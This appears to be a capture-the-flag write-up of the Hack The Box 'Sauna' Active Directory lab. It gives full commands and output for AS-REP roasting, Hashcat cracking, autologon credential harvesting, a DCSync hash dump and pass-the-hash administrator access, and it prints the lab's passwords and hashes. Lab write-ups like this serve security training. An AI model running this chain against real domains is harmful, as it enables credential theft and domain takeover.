HTB: Sauna
Full writeup for the Sauna machine from the Active Directory Exploitation track on Hack The Box
Reconnaissance
Port Scanning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
└──╼ #sudo nmap -sC -sV -p- -T4 --min-rate 1000 10.129.73.165 -oN nmap/tcp_scan
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-24 09:41 EDT
Nmap scan report for 10.129.73.165
Host is up (0.083s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-24 20:43:11Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-09-24T20:44:00
|_ start_date: N/A
|_clock-skew: 6h59m57s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.08 seconds
DNS Enumeration
The LDAP and Kerberos records identified the EGOTISTICAL-BANK.LOCAL domain and the SAUNA domain controller.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
└──╼ #dig egotistical-bank.local @10.129.73.165 any
; <<>> DiG 9.20.29-1~deb13u1-Debian <<>> egotistical-bank.local @10.129.73.165 any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 30502
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 3
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;egotistical-bank.local. IN ANY
;; ANSWER SECTION:
egotistical-bank.local. 600 IN A 10.10.10.175
egotistical-bank.local. 3600 IN NS sauna.egotistical-bank.local.
egotistical-bank.local. 3600 IN SOA sauna.egotistical-bank.local. hostmaster.egotistical-bank.local. 50 900 600 86400 3600
egotistical-bank.local. 600 IN AAAA dead:beef::d82a:5af8:762a:f639
;; ADDITIONAL SECTION:
sauna.egotistical-bank.local. 3600 IN A 10.129.73.165
sauna.egotistical-bank.local. 3600 IN AAAA dead:beef::e064:7b59:da5c:17cf
;; Query time: 84 msec
;; SERVER: 10.129.73.165#53(10.129.73.165) (TCP)
;; WHEN: Thu Sep 24 09:50:18 EDT 2026
;; MSG SIZE rcvd: 206
add domains to /etc/hosts
1
2
└──╼ #echo "10.129.73.165 sauna.egotistical-bank.local egotistical-bank.local" | sudo tee -a /etc/hosts
10.129.73.165 sauna.egotistical-bank.local egotistical-bank.local
SMB Enumeration
1
2
3
4
5
6
7
8
└──╼ #nxc smb egotistical-bank.local -u guest -p '' --shares
SMB 10.129.73.165 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.73.165 445 SAUNA [-] EGOTISTICAL-BANK.LOCAL\guest: STATUS_ACCOUNT_DISABLED
┌─[root@parrot]─[/home/tr3m0x/security/htb/windows/Sauna]
└──╼ #nxc smb egotistical-bank.local -u '' -p '' --shares
SMB 10.129.73.165 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.73.165 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\:
SMB 10.129.73.165 445 SAUNA [-] Error enumerating shares: STATUS_ACCESS_DENIED
The guest account was disabled, and anonymous SMB could not enumerate shares. I moved to the web service on port 80.
Web Enumeration
The site was mostly static, but its team page exposed employee names. I generated likely usernames with username-anarchy script.
1
2
3
4
5
6
7
8
9
10
11
12
13
└──╼ #/opt/tools/username-anarchy/username-anarchy --input-file names.txt --select-format f.last,first.last,first,firstl,flast > usernames.txt
┌─[root@parrot]─[/home/tr3m0x/security/htb/windows/Sauna]
└──╼ #head usernames.txt
fergus
fergus.smith
ferguss
f.smith
fsmith
hugo
hugo.bear
hugob
h.bear
hbear
AS-REP roasting
I tested the generated usernames for AS-REP roasting
1
2
3
4
5
6
7
8
└──╼ #impacket-GetNPUsers egotistical-bank.local/'guest' -usersfile usernames.txt -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
<SNIP>
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:edd87d74aac84196c6fdd39d40085f25$b600b10a54059d1b374f1a97f6e56f8d100bab41698195caf123e9f10202ced6544e299c4153c2258c69bb0789502a69832e01dcf2144dc66a21384721bc88130b521d5b9092e8babc80f122189f782001f6e220c8413f743c46c2e935974349a011209ebc532a643ae6987b215227448694ff577a45b2b93245c86d50fab491230eacdca46012987ab87735d583baba2d961972f56d034fa57cad14d45b7e4a3be72a66adefe62112f41b3fde98c9f43932fb331d507f2d4fef1d008e35807f9a26d229425ba86cd14b89b5fe669dff7deac06ab51baf9ac0011198fe07a980e57d4efa45264ac56e2e4331553e6fb3f7ae7156927505ffbe89a30a015fbff5
<SNIP>
Cracking the AS-REP hash
I cracked the returned Kerberos hash with Hashcat.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<SNIP>
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:72f1661ff08eb47b4bf6c49948c960d7$a217f79719e6306b8ee3edf745337a414a258242b8ace9a9b333b04131db67deb7a4a460e4fe325a96c785a9181e4756148e229006e2ec3b92a7db8bb6922c22c259ebefda0f5fe92de0f6987c1b7f542746c8b75a4f10e53db09efc76d1f9e3be7e40b608079dfc4d74d7988362f8f93ebc2d90d1bd4f4ef33d0722f4569c58f16a59c5a5204e6852b08e6a3d43f37c0a71beeb8622f36a78913988d3d531a7d9168ede8d0b8cd8f1a8f1960233d86cab0ba7bc551898b54eb38799f1090547cd63baa36504189220f0dbc8e7bb4284e769ba3c6d958e75810bd306dfa4a36cf6359c47bdeeb15a06bfc505490614ea1834c5547b092fb66ad46b8229a81608:Thestrokes23
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:72f1661...a81608
Time.Started.....: Thu Sep 24 15:29:44 2026 (1 sec)
Time.Estimated...: Thu Sep 24 15:29:45 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 16511.5 kH/s (6.57ms) @ Accel:1024 Loops:1 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10813440/14344385 (75.38%)
Rejected.........: 0/10813440 (0.00%)
Restore.Point....: 9830400/14344385 (68.53%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: babypolk07 -> Ms.KEL
Hardware.Mon.#01.: Temp: 43c Util: 48% Core:1965MHz Mem:7001MHz Bus:8
Started: Thu Sep 24 15:29:34 2026
Stopped: Thu Sep 24 15:29:46 2026
Validating the recovered credentials
I tested the recovered credentials:
1
2
3
└──╼ #nxc winrm egotistical-bank.local -u fsmith -p Thestrokes23
WINRM 10.129.73.165 5985 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM 10.129.73.165 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
The initial foothold was the fsmith WinRM account. I uploaded and ran WinPEAS, which exposed an autologon password for svc_loanmgr.
1
2
3
4
5
6
7
<SNIP>
ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmgr
DefaultPassword : Moneymakestheworldgoround!
<SNIP>
Lateral Movement: svc_loanmgr
Discovering autologon credentials
The autologon password was reusable for the svc_loanmgr domain account.
Privilege Escalation
Identifying DCSync rights
I had already collected BloodHound data, so I inspected svc_loanmgr.
svc_loanmgr has DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on the domain. Together, these rights allow a DCSync attack, which I performed with secretsdump.py.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
└──╼ #secretsdump.py egotistical-bank/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.73.165
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:a9e5d1a9da93efd1163a5951a0379d75:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:5e5f065a6ff7cbd5668438198ef764a609df657f798af43a55f1e8c716de626c
SAUNA$:aes128-cts-hmac-sha1-96:f54dc048f0207239e041c332aba6a109
SAUNA$:des-cbc-md5:104c515b86739e08
[*] Cleaning up...
WinRM as Administrator
1
2
3
4
5
6
7
8
└──╼ #evil-winrm -i egotistical-bank.local -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
Evil-WinRM shell v4.1
Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Conclusion
The attack chain was: anonymous web access exposed usernames, AS-REP roasting recovered fsmith, WinPEAS revealed the svc_loanmgr password, and DCSync rights exposed the Administrator hash.


